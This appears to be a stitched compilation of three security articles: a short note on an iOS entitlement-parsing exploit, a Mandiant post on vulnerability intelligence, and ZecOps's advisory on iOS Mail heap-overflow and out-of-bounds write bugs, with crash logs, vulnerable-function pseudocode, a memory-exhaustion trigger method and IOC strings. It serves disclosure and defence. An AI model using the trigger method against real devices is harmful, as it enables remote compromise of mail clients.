So Siguza's exploit ­-- which granted an app full access to the entire file system, and more ­- uses malformed XML comments constructed in a way that one of iOS's XML parsers sees its declaration of entitlements one way, and another XML parser sees it another way. The XML parser used to check whether an application should be allowed to launch doesn't see the fishy entitlements because it thinks they're inside a comment. The XML parser used to determine whether an already running application has permission to do things that require entitlements sees the fishy entitlements and grants permission.

This is fixed in the new iOS release, 13.5 beta 3.

Comment:

Implementing 4 different parsers is just asking for trouble, and the "fix" is of the crappiest sort, bolting on more crap to check they're doing the right thing in this single case. None of this is encouraging.

More commentary. Hacker News thread.

Putting the Model to Work: Enabling Defenders With Vulnerability Intelligence — Intelligence for Vulnerability Management, Part Four

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

Organizations often have to make difficult choices when it comes to patch prioritization. Many are faced with securing complex network infrastructure with thousands of systems, different operating systems, and disparate geographical locations. Even when armed with a simplified vulnerability rating system, it can be hard to know where to start. This problem is compounded by the ever-changing threat landscape and increased access to zero-days.

At FireEye, we apply the rich body of knowledge accumulated over years of global intelligence collection, incident response investigations, and device detections, to help our customers defend their networks. This understanding helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations. 

In this blog post, we’ll demonstrate how we apply intelligence to help organizations assess risk and make informed decisions about vulnerability management and patching in their environments.

Functions of Vulnerability Intelligence

Vulnerability intelligence helps clients to protect their organizations, assets, and users in three main ways:


Figure 1: Vulnerability intelligence can help with risk assessment and informed decision making

Tailoring Vulnerability Prioritization

We believe it is important for organizations to build a defensive strategy that prioritizes the types of threats that are most likely to impact their environment, and the threats that could cause the most damage. When organizations have a clear picture of the spectrum of threat actors, malware families, campaigns, and tactics that are most relevant to their organization, they can make more nuanced prioritization decisions when those threats are linked to exploitation of vulnerabilities. A lower risk vulnerability that is actively being exploited in the wild against your organization or similar organizations likely has a greater potential impact to you than a vulnerability with a higher rating that is not actively being exploited.


Figure 2: Patch Prioritization Philosophy

Integration of Vulnerability Intelligence in Internal Workflows

Based on our experience assisting organizations globally with enacting intelligence-led security, we outline three use cases for integrating vulnerability intelligence into internal workflows.


Figure 3: Integration of vulnerability intelligence into internal workflows

Tools and Use Cases for Operationalizing Vulnerability Intelligence

1. Automate Processes by Fusing Intelligence with Internal Data

Automation is valuable to security teams with limited resources. Similar to automated detecting and blocking of indicator data, vulnerability threat intelligence can be automated by merging data from internal vulnerability scans with threat intelligence (via systems like the Mandiant Intelligence API) and aggregated into a SIEM, Threat Intelligence Platform, and/or ticketing system. This enhances visibility into various sources of both internal and external data with vulnerability intelligence providing risk ratings and indicating which vulnerabilities are being actively exploited. FireEye also offers a custom tool called FireEye Intelligence Vulnerability Explorer (“FIVE”), described in more detail below for quickly correlating vulnerabilities found in logs and scans with Mandiant ratings.

Security teams can similarly automate communication and workflow tracking processes using threat intelligence by defining rules for auto-generating tickets based on certain combinations of Mandiant risk and exploitation ratings; for example, internal service-level-agreements (SLAs) could state that ‘high’ risk vulnerabilities that have an exploitation rating of ‘available,’ ‘confirmed,’ or ‘wide’ must be patched within a set number of days. Of course, the SLA will depend on the company’s operational needs, the capability of the team that is advising the patch process, and executive buy-in to the SLA process. Similarly, there may be an SLA defined for patching vulnerabilities that are of a certain age. Threat intelligence tells us that adversaries continue to use older vulnerabilities as long as they remain effective. For example, as recently as January 2020, we observed a Chinese cyber espionage group use an exploit for CVE-2012-0158, a Microsoft Office stack-based buffer overflow vulnerability originally released in 2012, in malicious email attachments to target organizations in Southeast Asia. Automating the vulnerability-scan-to-vulnerability-intelligence correlation process can help bring this type of issue to light. 

Another potential use case employing automation would be incorporating vulnerability intelligence as security teams are testing updates or new hardware and software prior to introduction into the production environment. This could dramatically reduce the number of vulnerabilities that need to be patched in production and help prioritize those vulnerabilities that need to be patched first based on your organization’s unique threat profile and business operations.

2. Communicating with Internal Stakeholders

Teams can leverage vulnerability reporting to send internal messaging, such as flash-style notifications, to alert other teams when Mandiant rates a vulnerability known to impact your systems high or critical. These are the vulnerabilities that should take priority in patching and should be patched outside of the regular cycle.

Data-informed intelligence analysis may help convince stakeholders outside of the security organization the importance of patching quickly, even when this is inconvenient to business operations. Threat Intelligence can inform an organization’s appropriate use of resources for security given the potential business impact of security incidents.

3. Threat Modeling

Organizations can leverage vulnerability threat intelligence to inform their threat modeling to gain insight into the most likely threats to their organization, and better prepare to address threats in the mid to long term. Knowledge of which adversaries pose the greatest threat to your organization, and then knowledge of which vulnerabilities those threat groups are exploiting in their operations, can enable your organization to build out security controls and monitoring based on those specific CVEs.

Examples

The following examples illustrate workflows supported by vulnerability threat intelligence to demonstrate how organizations can operationalize threat intelligence in their existing security teams to automate processes and increase efficiency given limited resources.

Example 1: Using FIVE for Ad-hoc Vulnerability Prioritization

The FireEye Intelligence Vulnerability Explorer (“FIVE”) tool is available for customers here. It is available for MacOS and Windows, requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration.


Figure 4: FIVE Tool for Windows and MacOS

In this scenario, an organization’s intelligence team was asked to quickly identify any vulnerability that required patching from a server vulnerability scan after that server was rebuilt from a backup image. The intelligence team was presented with a text file containing a list of CVE numbers. Users can drag-and-drop a text readable file (CSV, TEXT, JSON, etc.) into the FIVE tool and the CVE numbers will be discovered from the file using regex. As shown in Figure 6 (below), in this example, the following vulnerabilities were found in the file and presented to the user. 


Figure 5: FIVE tool startup screen waiting for file input


Figure 6: FIVE tool after successfully regexing the CVE-IDs from the file

After selecting all CVE-IDs, the user clicked the “Fetch Vulnerabilities” button, causing the application to make the necessary two-stage API call to the Intelligence API.

The output depicted in Figure 7 shows the user which vulnerabilities should be prioritized based on FireEye’s risk and exploitation ratings. The red and maroon boxes indicate vulnerabilities that require attention, while the yellow indicate vulnerabilities that should be reviewed for possible action. Details of the vulnerabilities are displayed below, with associated intelligence report links providing further context.


Figure 7: FIVE tool with meta-data, CVE-IDs, and links to related Intelligence Reports

FIVE can also facilitate other use cases for vulnerability intelligence. For example, this chart can be attached in messaging to other internal stakeholders or executives for review, as part of a status update to provide visibility on the organization’s vulnerability management program.

Example 2: Vulnerability Prioritization, Internal Communications, Threat Modeling

CVE-2019-19781 is a vulnerability affecting Citrix that Mandiant Threat Intelligence rated critical. Mandiant discussed early exploitation of this vulnerability in a January 2020 blog post. We continued to monitor for additional exploitation, and informed our clients when we observed exploitation by ransomware operators and Chinese espionage group, APT41.

In cases like these, threat intelligence can help impacted organizations find the “signal” in the “noise” and prioritize patching using knowledge of exploitation and the motives and targeting patterns of threat actors behind the exploitation. Enterprises can use intelligence to inform internal stakeholders of the potential risk and provide context as to the potential business and financial impact of a ransomware infection or an intrusion by a highly resourced state sponsored group. This support the immediate patch prioritization decision while simultaneously emphasizing the value of a holistically informed security organization.

Example 3: Intelligence Reduces Unnecessary Resource Expenditure — Automating Vulnerability Prioritization and Communications

Another common application for vulnerability intelligence is informing security teams and stakeholders when to stand down. When a vulnerability is reported in the media, organizations often spin up resources to patch as quickly as possible. Leveraging threat intelligence in security processes help an organization discern when it is necessary to respond in an all-hands-on-deck manner.

Take the case of the CVE-2019-12650, originally disclosed on Sept. 25, 2019 with an NVD rating of “High.” Without further information, an organization relying on this score to determine prioritization may include this vulnerability in the same patch cycle along with numerous other vulnerabilities rated High or Critical. As previously discussed, we have experts review the vulnerability and determine that it required the highest level of privileges available to successfully exploit, and there was no evidence of exploitation in the wild.

This is a case where threat intelligence reporting as well as automation can effectively minimize the need to unnecessarily spin up resources. Although the public NVD score rated this vulnerability high, Mandiant Intelligence rated it as “low” risk due to the high level of privileges needed to use it and lack of exploitation in the wild. Based on this assessment, organizations may decide that this vulnerability could be patched in the regular cycle and does not necessitate use of additional resources to patch out-of-band. When Mandiant ratings are automatically integrated into the patching ticket generation process, this can support efficient prioritization. Furthermore, an organization could use the analysis to issue an internal communication informing stakeholders of the reasoning behind lowering the prioritization.

Vulnerabilities: Managed

Because we have been closely monitoring vulnerability exploitation trends for years, we were able to distinguish when attacker use of zero-days evolved from use by a select class of highly skilled attackers, to becoming accessible to less skilled groups with enough money to burn. Our observations consistently underscore the speed with which attackers exploit useful vulnerabilities, and the lack of exploitation for vulnerabilities that are hard to use or do not help attackers fulfill their objectives. Our understanding of the threat landscape helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations.

Mandiant Threat Intelligence enables organizations to implement a defense-in-depth approach to holistically mitigate risk by taking all feasible steps—not just patching—to prevent, detect, and stymie attackers at every stage of the attack lifecycle with both technology and human solutions.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Additional Resources

Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three

Mandiant offers Intelligence Capability Development (ICD) services to help organizations optimize their ability to consume, analyze and apply threat intelligence.

The FIVE tool is available on the FireEye Market. It requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration. Please contact your Intelligence Enablement Manager or FireEye Support to obtain API keys. 

Mandiant's OT Asset Vulnerability Assessment Service informs customers of relevant vulnerabilities by matching a customer's asset list against vulnerabilities and advisories. Relevant vulnerabilities and advisories are delivered in a report from as little as once a year, to as often as once a week. Additional add-on services such as asset inventory development and deep dive analysis of critical assets are available. Please contact your Intelligence Enablement Manager for more information.

You’ve Got (0-click) Mail!

You’ve Got (0-click) Mail!

Updates

Impact & Key Details (TL;DR) :

  • The vulnerability allows remote code execution capabilities and enables an attacker to remotely infect a device by sending emails that consume significant amount of memory
  • The vulnerability does not necessarily require a large email – a regular email which is able to consume enough RAM would be sufficient. There are many ways to achieve such resource exhaustion including RTF, multi-part, and other methods
  • Both vulnerabilities were triggered in-the-wild
  • The vulnerability can be triggered before the entire email is downloaded, hence the email content won’t necessarily remain on the device
  • We are not dismissing the possibility that attackers may have deleted remaining emails following a successful attack
  • Vulnerability trigger on iOS 13: Unassisted (/zero-click) attacks on iOS 13 when Mail application is opened in the background
  • Vulnerability trigger on iOS 12: The attack requires a click on the email. The attack will be triggered before rendering the content. The user won’t notice anything anomalous in the email itself
  • Unassisted attacks on iOS 12 can be triggered (aka zero click) if the attacker controls the mail server
  • The vulnerabilities exist at least since iOS 6 – (issue date: September 2012) – when iPhone 5 was released
  • The earliest triggers we have observed in the wild were on iOS 11.2.2 in January 2018
  • FAQ

This post is the first part of a series – See post number 2

the mail-demon vulnerability
were you targeted by this vulnerability?

Multiple Vulnerabilities in MobileMail/Maild

Introduction

Following a routine iOS Digital Forensics and Incident Response (DFIR) investigation, ZecOps found a number of suspicious events that affecting the default Mail application on iOS dating as far back as Jan 2018. ZecOps analyzed these events and discovered an exploitable vulnerability affecting Apple’s iPhones and iPads. ZecOps detected multiple triggers in the wild to this vulnerability on enterprise users, VIPs, and MSSPs, over a prolonged period of time.

The attack’s scope consists of sending a specially crafted email to a victim’s mailbox enabling it to trigger the vulnerability in the context of iOS MobileMail application on iOS 12 or maild on iOS 13. Based on ZecOps Research and Threat Intelligence, we surmise with high confidence that these vulnerabilities – in particular, the remote heap overflow – are widely exploited in the wild in targeted attacks by an advanced threat operator(s).

The suspected targets included:

  • Individuals from a Fortune 500 organization in North America
  • An executive from a carrier in Japan 
  • A VIP from Germany
  • MSSPs from Saudi Arabia and Israel
  • A Journalist in Europe
  • Suspected: An executive from a Swiss enterprise

Few of the suspicious events even included strings commonly used by hackers (e.g. 414141…4141) – see FAQ. After verifying that it wasn’t a red-team exercise, we validated that these strings were provided by the email-sender. Noteworthy, although the data confirms that the exploit emails were received and processed by victims’ iOS devices, corresponding emails that should have been received and stored on the mail-server were missing. Therefore, we infer that these emails may have been deleted intentionally as part of attack’s operational security cleanup measures.

We believe that these attacks are correlative with at least one nation-state threat operator or a nation-state that purchased the exploit from a third-party researcher in a Proof of Concept (POC) grade and used ‘as-is’ or with minor modifications (hence the 4141..41 strings).

While ZecOps refrain from attributing these attacks to a specific threat actor, we are aware that at least one ‘hackers-for-hire’ organization is selling exploits using vulnerabilities that leverage email addresses as a main identifier.

We advise to update as soon as an iOS update is available.

Exploitation timeline

We are aware of multiple triggers in the wild that happened starting from Jan 2018, on iOS 11.2.2. It is likely that the same threat operators are actively abusing these vulnerabilities presently. It is possible that the attacker(s) were using this vulnerability even earlier. We have seen similarities between some of the suspected victims during triggers to these vulnerabilities.

Affected versions:

  • All tested iOS versions are vulnerable including iOS 13.4.1. 
  • Based on our data, these bugs were actively triggered on iOS 11.2.2 and potentially earlier.
  • iOS 6 and above are vulnerable. iOS 6 was released in 2012. Versions prior to iOS 6 might be vulnerable too but we haven’t checked earlier versions. At the time of iOS 6 release, iPhone 5 was in the market.

ZecOps Customers & Partners

ZecOps Gluon iOS DFIR customers can detect attacks leveraging MobileMail/maild vulnerabilities.

Thank you

Before we dive deeper, we would like to thank Apple’s product security and  the engineering team that delivered a beta patch to block these vulnerabilities from further abuse once deployed to GA.

Vulnerability Details

ZecOps found that the implementation of MFMutableData in the MIME library lacks error checking for system call ftruncate() which leads to the Out-Of-Bounds write. We also found a way to trigger the OOB-Write without waiting for the failure of the system call ftruncate. In addition, we found a heap-overflow that can be triggered remotely.

We are aware of remote triggers of both vulnerabilities in the wild. 

Both the OOB Write bug, and the Heap-Overflow bug, occurred due to the same problem: not handling the return value of the system calls correctly.

The remote bug can be triggered while processing the downloaded email, in such scenario, the email won’t get fully downloaded to the device as a result.

Affected Library: /System/Library/PrivateFrameworks/MIME.framework/MIME

Vulnerable function: -[MFMutableData appendBytes:length:]

Abnormal behavior once the vulnerabilities are exploited

Besides a temporary slowdown of mobile mail application, users should not observe any other anomalous behavior. Following an exploit attempt (both successful / unsuccessful) on iOS 12 – users may notice a sudden crash of the Mail application.

On iOS13, besides a temporary slowdown, it would not be noticeable. Failed attacks would not be noticeable on iOS 13 if another attack is carried afterwards and deletes the email. 

In failed attacks, the emails that would be sent by the attacker would show the message: “This message has no content.”.. As seen in the following picture below:

Crash Forensics Analysis

Part of the a crash (out of multiple crashes) experienced by the user, is as follows.

The crashed instruction was stnp x8, x9, [x3], meaning that the value of x8 and x9 has been written into x3 and crashed due to accessing an invalid address 0x000000013aa1c000 which was stored in x3.

Thread 3 Crashed:
0   libsystem_platform.dylib      	0x000000019e671d88 _platform_memmove +88
       0x19e671d84         b.ls 0x00008da8                
       0x19e671d88         stnp x8, x9, [x3]              
       0x19e671d8c         stnp x10, x11, [x3, #16]       
       0x19e671d90         add x3, x3, 0x20               
       0x19e671d94         ldnp x8, x9, [x1]              
1   MIME                          	0x00000001b034c4d8 -[MFMutableData appendBytes:length:] + 356 
2   Message                       	0x00000001b0b379c8 -[MFDAMessageContentConsumer consumeData:length:format:mailMessage:] + 808
Registers:
x0: 0x000000013aa1b05a  x5: 0x0000000000000006
x1: 0x0000000102f0cfc6  x6: 0x0000000000000000
x2: 0x0000000000004a01  x7: 0x0000000000000000
x3: 0x000000013aa1c000  x8: 0x3661614331732f0a
x4: 0x000000000000004b  x9: 0x48575239734c314a

In order to find out why the process crashed, we need to take a look at the implementation of MFMutableData.

The below call tree is taken from the crash log experienced only by a selected number of  devices.

-[MFDAMessageContentConsumer consumeData:length:format:mailMessage:] 
|
+--  -[MFMutableData appendData:]
   |
   +--  -[MFMutableData appendBytes:length:]
       |
       +-- memmove()

By analyzing the MIME library, the pseudo code of -[MFMutableData appendBytes:length:] as follows:

-(void)appendBytes:(const void*)bytes length:(uint64_t)len{
    //...
    uint64_t new_length = old_length + len;
    [self setLength:new_length];
    if (!self->flush){
        self->flush = true;
    }
    //...
    memmove(dest, bytes, len);
}

The following call stack was executed before the crash happened:

-[MFDAMessageContentConsumer consumeData:length:format:mailMessage:] 
|
+--  -[MFMutableData appendData:]
   |
   +--  -[MFMutableData appendBytes:length:]
       |
       +-- -[MFMutableData setLength:]
          |
          +-- -[MFMutableData _flushToDisk:capacity:]
             |
             +-- ftruncate()

A file is used to store the actual data if the data size reaches the threshold, when the data changes, the content and the size of the mapped file should be changed accordingly. The system-call ftruncate() is called inside -[MFMutableData _flushToDisk:capacity:] to adjust the size of the mapped file.

Following is the pseudo code of -[MFMutableData _flushToDisk:capacity:]

- (void)_flushToDisk:(uint64_t)length capacity:(uint64_t)capacity;{
    boolean_t flush;
    //...
    if (self->path){
        boolean_t flush = self->flush; //<-line [a]
    }else{
        //...
        flush = true;
    }
    if(flush){ //<-line [b]
        //...
        ftruncate(self->path, capacity);
        //...
        self->flush = false;
    }
}

The man page of ftruncate specifies:

ftruncate() and truncate() cause the file named by path, or referenced by fildes, to be truncated
 (or extended) to length bytes in size. If the file size exceeds length, any extra data is discarded. 
If the file size is smaller than length, the file is extended and filled with zeros to the indicated 
length.  The ftruncate() form requires the file to be open for writing.
RETURN VALUES
    A value of 0 is returned if the call succeeds.  If the call fails a -1 is returned, and the global 
    variable errno specifies the error.

According to the man page: “If the call fails a -1 is returned, and the global variable errno specifies the error.” which means under certain conditions, this system call would fail to truncate the file and return an error code.

However, upon failure of the ftruncate system call , _flushToDisk continues anyway, which means the mapped file size is not extended and the execution finally reaches the memmove() in the appendBytes() function, causing the mmap file an out-of-bound (OOB) write.

Finding another trigger

We know that the crash was due to a failure ftruncate() system call, does it mean we can’t do anything but to wait for the system call to fail?

Let’s take another look at the -[MFMutableData _flushToDisk:capacity:] function.

- (void)_flushToDisk:(uint64_t)length capacity:(uint64_t)capacity;{
    boolean_t flush;
    //...
    if (self->path){
        boolean_t flush = self->flush; //<-line [a]
    }else{
        //...
        flush = true;
    }
    if(flush){ //<-line [b]
        //...
        ftruncate(self->path, capacity);
        //...
        self->flush = false;
    }
}

As you can see in line [b], it checks whether the flush flag is true before calling ftruncate(). This means if we can set the flush flag to false at line [a], the ftruncate() won’t be executed at all.

If someone calls -[MFMutableData setLength:](set flush to  0), before calling -[MFMutableData appendData:], ftruncate() won’t be executed due to flush==0) and  there will be a similar result.

The following backtrace is a demonstration of a local POC. Combining this OOB Write with an additional vulnerability and/or methods to control the memory layout, this vulnerability could be triggered remotely – for example by controlling the selectors (as we have observed in other DFIR events as well as in Google Project Zero blog post).

Thread 0 Crashed:
0   libsystem_platform.dylib      	0x00000001cc442d98 _platform_memmove  + 88
       0x1cc442d8c         stnp x14, x15, [x0, #16]       
       0x1cc442d90         subs x2, x2, 0x40              
       0x1cc442d94         b.ls 0x00008db8    // 0x00000001cc44bf30 
       0x1cc442d98         stnp x8, x9, [x3]              
       0x1cc442d9c         stnp x10, x11, [x3, #16]       
       0x1cc442da0         add x3, x3, 0x20               
       0x1cc442da4         ldnp x8, x9, [x1]              

1   MIME                          	0x00000001ddbf0518 -[MFMutableData appendBytes:length:]  + 352
       0x1ddbf050c         mov x1, x20                    
       0x1ddbf0510         mov x2, x19                    
       0x1ddbf0514         bl 0x000498f4    // 0x00000001ddc39e08 
       0x1ddbf0518         ldp x29, x30, [sp, #80]        
       0x1ddbf051c         ldp x20, x19, [sp, #64]        
       0x1ddbf0520         ldp x22, x21, [sp, #48]        
       0x1ddbf0524         ldp x24, x23, [sp, #32]        

Although this is indeed a vulnerability that should be patched, we suspect that it was triggered by accident while the attackers were trying to exploit the following vulnerability.

2nd Vulnerability: Remote Heap Overflow in MFMutable

We continued our investigation to the remotely triggered events that were suspicious and determined that there is another vulnerability in the same area

The backtrace can be seen as following:

-[MFDAMessageContentConsumer consumeData:length:format:mailMessage:] 
|
+--  -[MFMutableData appendData:]
    |
   +--  -[MFMutableData appendBytes:length:]
       |
       +-- -[MFMutableData _mapMutableData]

While analyzing the code flow, we determined the following:

  • The function [MFDAMessageContentConsumer consumeData:length:format:mailMessage:] gets called when downloading an email in raw MIME form, and also will get called multiple times until the email is downloaded in Exchange mode. It will create a new NSMutableData object, and call appendData: for any new streaming data that belongs to the same email/MIME message. For other protocols like IMAP it uses -[MFConnection readLineIntoData:] instead but the logic and vulnerability are the same.
  • NSMutableData sets a threshold of 0x200000 bytes, if the data is bigger than 0x200000 bytes, it will write the data into a file, and then use the mmap systemcall to map the file into the device memory. The threshold size of 0x200000 can be easily excessed, so every time new data needs to append, the file will be re-mmap’ed, and the file size as well as the mmap size getting bigger and bigger.
  • Remapping is done inside -[MFMutableData _mapMutableData:], the vulnerability is inside this function.

Pseudocode of the vulnerable function as below:

-[MFMutableData _mapMutableData:] calls function MFMutableData__mapMutableData___block_invoke when the mmap system call fails

-[MFMutableData _mapMutableData:]
{
  //...
  result = mmap(0LL, v8, v9, 2, v6, 0LL);
  if (result == -1){
      //...
      result = (void *)MFMutableData__mapMutableData___block_invoke(&v21);
  }
  //...
}

The pseudo code of MFMutableData__mapMutableData___block_invoke is as follows, it allocates a size 8 heap memory then replaces the data->bytes pointer with the allocated memory.

void MFMutableData__mapMutableData___block_invoke(__int64 data)
{
  __int64 result; // x0

  data->vm = 0;    
  data->length = 0;
  data->capacity = 8; // Reset MFMutableData capacity to 8
  result = calloc(data->capacity, 1); // Allocate a new piece of memory, size of 8
  data->bytes = result; // replace the mapping memory pointer, which overwrites the -1 in case of mmap failure.
  return result;
}

After the execution of -[MFMutableData _mapMutableData:], the process continues execution of -[MFMutableData appendBytes:length:], causing a heap overflow when copying data to the allocated memory.

-[MFMutableData appendBytes:length:] 
{
  int length = [self length];
  //...
  bytes = self->bytes;
  if(!bytes){
     bytes = [self _mapMutableData]; //Might be a data pointer of a size 8 heap
  }
  copy_dst = bytes + length;
  //...
  platform_memmove(copy_dst, append_bytes, append_length); // It used append_length to copy the memory, causing an OOB writing in a small heap
}

append_length is the length of a chunk of data from the streaming. Since MALLOC_NANO is a very predictable memory region, it is possible to exploit this vulnerability.

An attacker doesn’t need to drain every last bit of the memory to cause mmap to fail, as mmap requires a continuous memory region.

Reproduction

According to the man page of mmap, the mmap would fail when MAP_ANON was specified and insufficient memory was available.

The goal is to cause mmap to fail, ideally, a big enough email is going to make it happen inevitably. However, we believe that the vulnerabilities can be triggered in using other tricks that can exhaust the resources. Such tricks can be achieved through multi-part, RTF, and other formats – more on that later.

Another important factor that can affect exploitability, is the hardware specs:

  • iPhone 6 has 1GB
  • iPhone 7 has 2GB
  • iPhone X has 3GB

Older devices have smaller physical RAM, and smaller virtual memory space, hence it is not necessary to drain every last bit of RAM in order to trigger this bug, mmap will fail when it cannot find a continuous memory of given size in the available virtual memory space.

We have determined that MacOS is not vulnerable to both vulnerabilities.

In iOS 12, it is easier to trigger the vulnerability because the data streaming is done within the same process, as the default mail application (MobileMail), it deals with much more resources, which eats up allocation of virtual memory space, especially the UI rendering, whereas in iOS 13, MobileMail pass data streaming to a background process namely maild. It concentrates its resources in parsing the e-mails, which reduces the risk of virtual memory space accidentally running out.

Remote Reproduction / POC

Since MobileMail/maild didn’t explicitly set the max limit for email size, it is possible to set up a custom email server and send an email that has several GB of plain text. iOS MIME/Message library chunks data into an average of roughly 0x100000 bytes while streaming data, so failing to download the entire email is totally fine.

Please note that this is just one example of how to trigger this vulnerability. Attackers do not need to send such email in-order to trigger this vulnerability, and other tricks with multi-part, RTF, or other formats may accomplish the same objective with a standard size email.

Indicators of Compromise

# Type of indicator Purpose IOC
1 String in raw email Part of the malicious email sent AAAAAAAA AND AAAAATEy AND EA\r\nAABI AND "$\x0e\xce\xa0\xd4\xc7\xcb\x08" AND T8hlGOo9 AND OKl2N\r\nC (updated)
3 String in raw email Part of the malicious email sent 3r0TRZfh AND AAAAAAAAAAAAAAAA AND \x0041\x0041\x0041\x0041 (unicode AAAA) (updated)
4 String in raw email Part of the malicious email sent \n/s1Caa6 AND J1Ls9RWH
5 String in raw email Part of the malicious email sent ://44449
6 String in raw email Part of the malicious email sent ://84371
7 String in raw email Part of the malicious email sent ://87756
8 String in raw email Part of the malicious email sent ://94654

Patch

Apple patched both vulnerabilities in iOS 13.4.5 beta, as can be seen in the following screenshot below:

To mitigate these issues – you can use the latest beta available. If using a beta version is not possible, consider disabling Mail application and use Outlook, Edison Mail, or Gmail that are not vulnerable.

Disclosure timeline

  • February 19th 2020 – Suspected events reported to the Vendor under ZecOps responsible disclosure policy which allows immediate release for in-the-wild triggers
  • Ongoing communication between the affected vendor & ZecOps
  • March 23rd – ZecOps sent to the affected vendor a POC reproduction of the OOB Write vulnerability
  • March 25th – ZecOps shared a local POC for the OOB Write
  • March 31st – ZecOps confirmed a second vulnerability exists in the same area and the ability of a remote trigger (Remote Heap Overflow) – both vulnerabilities were triggered in the wild
  • March 31st – ZecOps shared a POC with the affected vendor for the remote heap-overflow vulnerability
  • April 7th – ZecOps shared a custom Mail Server to trigger the 0-click heap overflow vulnerability on iOS 13.4 / 13.4.1 easily by simply adding the username & password to Mail and downloading the emails
  • April 15/16th – Vendor patches both vulnerabilities in the publicly available beta
  • April 20th – We re-analyzed historical data and found additional evidence of triggers in the wild on VIPs and targeted personas. We sent an email notifying the vendor that we will have to release this threat advisory imminently in order  to enable organizations to safeguard themselves as attacker(s) will likely increase their activity significantly now that it’s patched in the beta
  • April 22nd – Public disclosure

FAQ

Q: Was the first and/or the second vulnerability exploited in the wild?

A: The suspected emails triggered code paths of both vulnerabilities in the wild, however, we think the first vulnerability (OOB Write) was triggered accidentally, and the main goal was to trigger the second vulnerability (Remote Heap Overflow).

  1. We have seen multiple triggers on the same users across multiple continents. 
  2. We examined the suspicious strings & root-cause (such as the 414141…41 events and mostly other events):
    1. We confirmed that this code path do not get randomly triggered.
    2. We confirmed the registers values did not originate by the targeted software or by the operating system.
    3. We confirmed it was not a red team exercise / POC tests.
    4. We confirmed that the controlled pointers containing 414141…41, as well as other controlled memory, were part of the data sent via email to the victim’s device.
  3. We verified that the bugs were remotely exploitable & reproduced the trigger.
  4. We saw similarities between the patterns used against at least a couple of the victims sent by the same attacker. 
  5. Where possible, we confirmed that the allocation size was intentional.
  6. Lastly, we verified that the suspicious emails were received and processed by the device – according to the stack trace and it should have been on the device / mail server. Where possible, together with the victims, we verified that the emails were deleted.

Based on the above, together with other information, we surmise that these vulnerabilities were actively exploited in the wild.

Q: Does an attacker have to trigger the first vulnerability first in order to trigger the second one?

A: No. An attacker would likely target the second vulnerability.

Q: Why are you disclosing these bugs before a full patch is available?

A: It’s important to understand the following:

  • These bugs alone cannot cause harm to iOS users – since the attackers would require an additional infoleak bug & a kernel bug afterwards for full control over the targeted device.
  • Both bugs were already disclosed during the publicly available beta update. The attackers are already aware that the golden opportunity with MobileMail/maild is almost over and they will likely use the time until a patch is available to attack as many devices as possible. 
  • With very limited data we were able to see that at least six organizations were impacted by this vulnerability – and the potential abuse of this vulnerability is enormous. We are confident that a patch must be provided for such issues with public triggers ASAP. 

It is our obligation to the public, our customers, partners, and iOS users globally to disclose these issues so people who are interested can protect themselves by applying the beta patch, or stop to use Mail and temporarily switch to alternatives that are not vulnerable to these bugs. 

We hope that with making this information public it will help to promote a faster patch.

Q: Can both vulnerabilities be triggered remotely?

A; The remote heap overflow has been proven to be possible to trigger remotely without any user-interaction (aka ‘0-click’) on iOS13. The OOB write can be triggered remotely with an additional vulnerability that allows to call an arbitrary selector, just like the one published by Google Project Zero here:

https://i.blackhat.com/USA-19/Wednesday/us-19-Silvanovich-Look-No-Hands-The-Remote-Interactionless-Attack-Surface-Of-The-iPhone.pdf – since we saw in the wild trigger for the first vulnerability, it is possible, although we think it was done by mistake (see above).

Q: Do end users require to perform any action for the exploitation to succeed?

A: On iOS 13 – no. On iOS 12 – it requires the victim to click on an email.

If an attacker controls the mail server, the attack can be performed without any clicks on iOS 12 too.

Q: Since when iOS is vulnerable to these bugs?

A: iOS is vulnerable to these bugs at least since iOS 6 (Sept’ 2012). We haven’t checked earlier versions.

Q: What can you do to mitigate the vulnerability:

A: The newly released beta update of 13.4.5 contains a patch for these vulnerabilities. If you cannot patch to this version instead of using Mail application consider to use other mail applications until a GA patch is available.

Q: Does an attacker need to send a very large email (e.g. 1-3gb)  to trigger the vulnerability?

A: No. Attackers may use tricks in multi-part / RTF, etc in order to consume the memory in a similar way without sending a large email.

Q: Does the vulnerability require additional information to succeed? 

A: Yes, an attacker would need to leak an address from the memory in order to bypass ASLR. We did not focus on this vulnerability in our research.

Q: What does the vulnerability allow:

A: The vulnerability allows to run remote code in the context of MobileMail (iOS 12) or maild (iOS 13). Successful exploitation of this vulnerability would allow the attacker to leak, modify, and delete emails. Additional kernel vulnerability would provide full device access – we suspect that these attackers had another vulnerability. It is currently under investigation.

Q: Would end users notice any abnormal behavior once either vulnerabilities are triggered / exploited?

A: Besides a temporary slowdown of mobile mail application, users should not observe any other anomalous behavior.

When the exploit fails on iOS 12 – users may notice a sudden crash of the Mail application.

On iOS13, besides a temporary slowdown, it would not be noticeable. Failed attacks would not be noticeable on iOS 13 if another attack is carried afterwards and deletes the email. In failed attacks, the emails that would be sent by the attacker would show the message: "This message has no content." As seen in the following picture below:

Q: if the attackers fail, can they re-try to attack using the same vulnerability right after? 

A: On iOS 13 – attackers may try multiple times to infect the device silently and without user interaction. On iOS 12 – additional attempt would require the user to click on a newly received email by the attackers. The victim does not need to open an attachment and just viewing the email is sufficient to trigger the attack. 

Q: Can the attackers delete the received email after it was processed by the device and triggered the vulnerability?

A: Yes

Q; Is MacOS vulnerable to these vulnerabilities too? 

A: No

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
